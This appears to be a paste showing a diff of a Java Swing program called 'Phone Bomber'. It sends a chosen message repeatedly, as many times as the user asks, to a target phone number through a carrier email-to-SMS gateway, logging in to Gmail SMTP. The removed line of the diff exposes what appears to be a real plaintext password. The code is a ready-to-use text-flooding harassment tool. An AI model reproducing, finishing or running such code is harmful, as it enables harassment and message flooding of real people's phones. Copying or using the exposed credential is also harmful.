SHOW:
|
|
- or go back to the newest paste.
| 1 | package PhoneBomber; | |
| 2 | import java.awt.event.ActionEvent; | |
| 3 | import java.awt.event.ActionListener; | |
| 4 | import java.util.Properties; | |
| 5 | ||
| 6 | import javax.mail.Message; | |
| 7 | import javax.mail.MessagingException; | |
| 8 | import javax.mail.Session; | |
| 9 | import javax.mail.Transport; | |
| 10 | import javax.mail.internet.InternetAddress; | |
| 11 | import javax.mail.internet.MimeMessage; | |
| 12 | import javax.swing.JButton; | |
| 13 | import javax.swing.JComboBox; | |
| 14 | import javax.swing.JFrame; | |
| 15 | import javax.swing.JLabel; | |
| 16 | import javax.swing.JOptionPane; | |
| 17 | import javax.swing.JPanel; | |
| 18 | import javax.swing.JTextArea; | |
| 19 | import javax.swing.JTextField; | |
| 20 | ||
| 21 | ||
| 22 | public class PhoneBomber{
| |
| 23 | public static JPanel panel = new JPanel(); | |
| 24 | public static JFrame frame = new JFrame("Phone Bomber!");
| |
| 25 | public static void main(String[] args){
| |
| 26 | frame.setVisible(true); | |
| 27 | frame.setSize(500, 500); | |
| 28 | frame.setResizable(false); | |
| 29 | frame.setDefaultCloseOperation(frame.EXIT_ON_CLOSE); | |
| 30 | frame.setLocationRelativeTo(null); | |
| 31 | frame.add(panel); | |
| 32 | panel.setLayout(null); | |
| 33 | interactions(); | |
| 34 | } | |
| 35 | ||
| 36 | public static void interactions(){
| |
| 37 | final JLabel amount = new JLabel("Amount:");
| |
| 38 | amount.setVisible(true); | |
| 39 | amount.setBounds(85, 73, 50, 10); | |
| 40 | panel.add(amount); | |
| 41 | ||
| 42 | JLabel carrier = new JLabel("Carrier:");
| |
| 43 | carrier.setVisible(true); | |
| 44 | carrier.setBounds(85, 43, 50, 10); | |
| 45 | panel.add(carrier); | |
| 46 | ||
| 47 | JLabel num = new JLabel("Number:");
| |
| 48 | num.setVisible(true); | |
| 49 | num.setBounds(85, 13, 50, 10); | |
| 50 | panel.add(num); | |
| 51 | ||
| 52 | JLabel messagel = new JLabel("Message:");
| |
| 53 | messagel.setVisible(true); | |
| 54 | messagel.setBounds(77, 90, 55, 30); | |
| 55 | panel.add(messagel); | |
| 56 | ||
| 57 | final JTextField who = new JTextField(); | |
| 58 | who.setBounds(140, 10, 200, 20); | |
| 59 | who.setVisible(true); | |
| 60 | panel.add(who); | |
| 61 | ||
| 62 | final JTextField bombn = new JTextField(); | |
| 63 | bombn.setBounds(140, 70, 200, 20); | |
| 64 | bombn.setVisible(true); | |
| 65 | panel.add(bombn); | |
| 66 | ||
| 67 | ||
| 68 | JButton bomb = new JButton("Bomb!");
| |
| 69 | bomb.setBounds(200, 420, 100, 50); | |
| 70 | bomb.setVisible(true); | |
| 71 | panel.add(bomb); | |
| 72 | ||
| 73 | String[] items = {"Verizon", "AT&T", "Telus"};
| |
| 74 | final JComboBox cb = new JComboBox(items); | |
| 75 | cb.setBounds(140, 40, 200, 20); | |
| 76 | cb.setVisible(true); | |
| 77 | panel.add(cb); | |
| 78 | ||
| 79 | final JTextArea message = new JTextArea(); | |
| 80 | message.setBounds(140, 100, 200, 200); | |
| 81 | message.setVisible(true); | |
| 82 | ||
| 83 | panel.add(message); | |
| 84 | ||
| 85 | ||
| 86 | bomb.addActionListener(new ActionListener(){
| |
| 87 | ||
| 88 | public void actionPerformed(ActionEvent arg0) {
| |
| 89 | String to = who.getText(); | |
| 90 | String msg = message.getText(); | |
| 91 | String amnt = bombn.getText(); | |
| 92 | Properties props = new Properties(); | |
| 93 | props.put("mail.smtp.auth", "true");
| |
| 94 | props.put("mail.smtp.starttls.enable", "true");
| |
| 95 | Session session = Session.getInstance(props); | |
| 96 | MimeMessage mm = new MimeMessage(session); | |
| 97 | ||
| 98 | try {
| |
| 99 | Transport transport = session.getTransport("smtp");
| |
| 100 | - | transport.connect("smtp.gmail.com", 587, "[email protected]", "kajramalan");
|
| 100 | + | transport.connect("smtp.gmail.com", 587, "[email protected]", "Password");
|
| 101 | - | mm.setFrom(new InternetAddress("[email protected]"));
|
| 101 | + | mm.setFrom(new InternetAddress("[email protected]"));
|
| 102 | //if(cb.equals("Verizon")){
| |
| 103 | mm.addRecipients(Message.RecipientType.TO, InternetAddress.parse(to+"@vtext.com")); | |
| 104 | //}else | |
| 105 | //{}
| |
| 106 | mm.setText(msg); | |
| 107 | for(int i = 0; i < Integer.parseInt(amnt); i++){
| |
| 108 | transport.sendMessage(mm, mm.getAllRecipients()); | |
| 109 | } | |
| 110 | JOptionPane.showMessageDialog(null, amnt+" messages have been sent to "+to); | |
| 111 | ||
| 112 | } catch (MessagingException e) {
| |
| 113 | e.printStackTrace(); | |
| 114 | } | |
| 115 | } | |
| 116 | ||
| 117 | }); | |
| 118 | ||
| 119 | ||
| 120 | ||
| 121 | panel.updateUI(); | |
| 122 | } | |
| 123 | } |